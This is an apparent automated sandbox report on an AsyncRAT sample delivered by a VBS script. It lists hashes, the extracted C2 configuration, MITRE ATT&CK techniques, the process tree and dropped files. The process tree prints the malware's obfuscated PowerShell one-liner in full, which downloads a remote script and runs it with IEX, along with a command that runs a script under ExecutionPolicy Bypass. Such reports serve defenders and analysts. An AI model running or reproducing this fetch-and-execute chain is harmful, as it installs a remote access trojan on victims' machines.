asyncrat | 4178938ee85e14e923ce16fb97df87ee4a66f2dd89ebbaeac9754c8f1864ab77

Analysis

max time kernel
140s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29/12/2024, 13:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GVTCXYI83010.vbs
Size

844B
MD5

1414060f446d9dc216c622be120be514
SHA1

0f1ce25ce0451fdc55636346271bf09054e00fc0
SHA256

f43970ba4414ecdfe5d42fccb69528917e2fe58dbe684a009c455b1cfacfcb23
SHA512

2e340e98b733cfbef8b671263e3ebb0dafabefa97594ef3e3f59ee406a97075322ba411c5fa6d988e3e892b1bd5b582b4a66f2bce8978d5635b6c7334bdeb11e

Score

10^/10

asyncrat newb3saaa discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.boschtransport.co.za/wp-includes/.Final.txt

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

NewB3saaa

moneios.linkpc.net:2222

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4120	powershell.exe
19	4120	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4120	powershell.exe
3080	powershell.exe
4416	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3080 set thread context of 2776	3080	powershell.exe	96
PID 4416 set thread context of 4232	4416	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe
3080	powershell.exe
3080	powershell.exe
4416	powershell.exe
4416	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1068 wrote to memory of 4120	1068	WScript.exe	84
PID 1068 wrote to memory of 4120	1068	WScript.exe	84
PID 4120 wrote to memory of 1708	4120	powershell.exe	93
PID 4120 wrote to memory of 1708	4120	powershell.exe	93
PID 1708 wrote to memory of 3080	1708	WScript.exe	94
PID 1708 wrote to memory of 3080	1708	WScript.exe	94
PID 3080 wrote to memory of 2776	3080	powershell.exe	96
PID 3080 wrote to memory of 2776	3080	powershell.exe	96
PID 3080 wrote to memory of 2776	3080	powershell.exe	96
PID 3080 wrote to memory of 2776	3080	powershell.exe	96
PID 3080 wrote to memory of 2776	3080	powershell.exe	96
PID 3080 wrote to memory of 2776	3080	powershell.exe	96
PID 3080 wrote to memory of 2776	3080	powershell.exe	96
PID 3080 wrote to memory of 2776	3080	powershell.exe	96
PID 4712 wrote to memory of 4416	4712	WScript.exe	100
PID 4712 wrote to memory of 4416	4712	WScript.exe	100
PID 4416 wrote to memory of 4232	4416	powershell.exe	102
PID 4416 wrote to memory of 4232	4416	powershell.exe	102
PID 4416 wrote to memory of 4232	4416	powershell.exe	102
PID 4416 wrote to memory of 4232	4416	powershell.exe	102
PID 4416 wrote to memory of 4232	4416	powershell.exe	102
PID 4416 wrote to memory of 4232	4416	powershell.exe	102
PID 4416 wrote to memory of 4232	4416	powershell.exe	102
PID 4416 wrote to memory of 4232	4416	powershell.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GVTCXYI83010.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow__lo--tri__g'.replace('__','n').replace('--','adS'),[Microsoft.VisualBasic.CallType]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://www.boschtransport').Replace('################','.co.za/wp-includes/.Final.txt'))|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\icudtl.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & C:\Users\Public\libGLESv.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3080
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2776

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\WindowsHost\icudtl.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & C:\Users\Public\libGLESv.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4416
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\WindowsHost\icudtl.vbs

Filesize
161B

MD5
ad8db750938df9e0d57a5119a91da8c8

SHA1
91b5d03b2b145b6a6a2ed474ff18e453a20fd3b8

SHA256
21c1ba62e9281508213c06172744b3c486b68747390ff18e0a97c07e5106b9d8

SHA512
8bcbd54ddc093d9ef4d6dca582248af11a096c732f74a3fcdff70ca05f4275982cf1bd6a77d38aa9a64bc8ebadbf26c32c09ef17340117940550a5f06fedb367

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
bc75e51be00098c04f43071304e79b9a

SHA1
285e1428732d8b9aa2c39934ffe2b9406954d757

SHA256
95b83f1b20a4601d5c6dc19b3cb7596ce18fff17e827a6975474e3486101fdc0

SHA512
d702b8074e947a42367e3fb91a244c356e04fec6549c366289ec0d023fd386f1dcddebb56f05717df80332abd291263ad31c888576276c28ad7be7f3d78c39be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9418593707f3a97d8fed1686c2e882f5

SHA1
3dc483cee797458c513c9e3d5b826f8be566c6f8

SHA256
3e45465cfb19c7734ceca423751a54634f235a7cbee6918018e07a7864e1a1f3

SHA512
647a7d8f4c91edbaef7eb835625b2744b414ad8aa1b92a69d0ea6f488ec4a700bd875c3be54998bcfe50b7f7cc4bb8e1f2ec4596e016b0648e56ced2963ee217

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
25607be80e86051242522268426d72b4

SHA1
4f9482db74b94ce4cb86757d43ad21f60aea3c2e

SHA256
4d6fdd02bb1f6622e394524d385da506d9db45c033549b2bd7a1651482dcc588

SHA512
c7cf726a2952e0e50d8d2100b2d4c523f881dfa955643fbcd0e72956d0a485707fcf09139bd8660636eaec4789dd915aa88ebfb8d1d92ae9046c064072b946a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tzunp0uf.qio.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\libGLESv.ps1

Filesize
349KB

MD5
a14a43a030f991af315fa26f6ed61914

SHA1
663740a69b7d586946b7264ffb181ed9fbfd8876

SHA256
07843eff42b57b19b5b9da7e1c4fb1b501f707d67b13f9fcd169478a547238cf

SHA512
d64a6e051d5f163252f90f83724116cb5ef59e2d1a2e9c9f324a42f61e299238692b5189f4df0d494806153de3f87a4d7d087e97c0ed5316348e8b8d8da1b408

Download Submit
memory/2776-46-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3080-45-0x00000215735C0000-0x00000215735DA000-memory.dmp

Filesize
104KB

Download
memory/4120-19-0x00007FFA367A3000-0x00007FFA367A5000-memory.dmp

Filesize
8KB

Download
memory/4120-23-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-25-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-26-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-22-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-32-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-21-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-20-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-0-0x00007FFA367A3000-0x00007FFA367A5000-memory.dmp

Filesize
8KB

Download
memory/4120-12-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-11-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

Filesize
10.8MB

Download
memory/4120-1-0x000001540C7D0000-0x000001540C7F2000-memory.dmp

Filesize
136KB

Download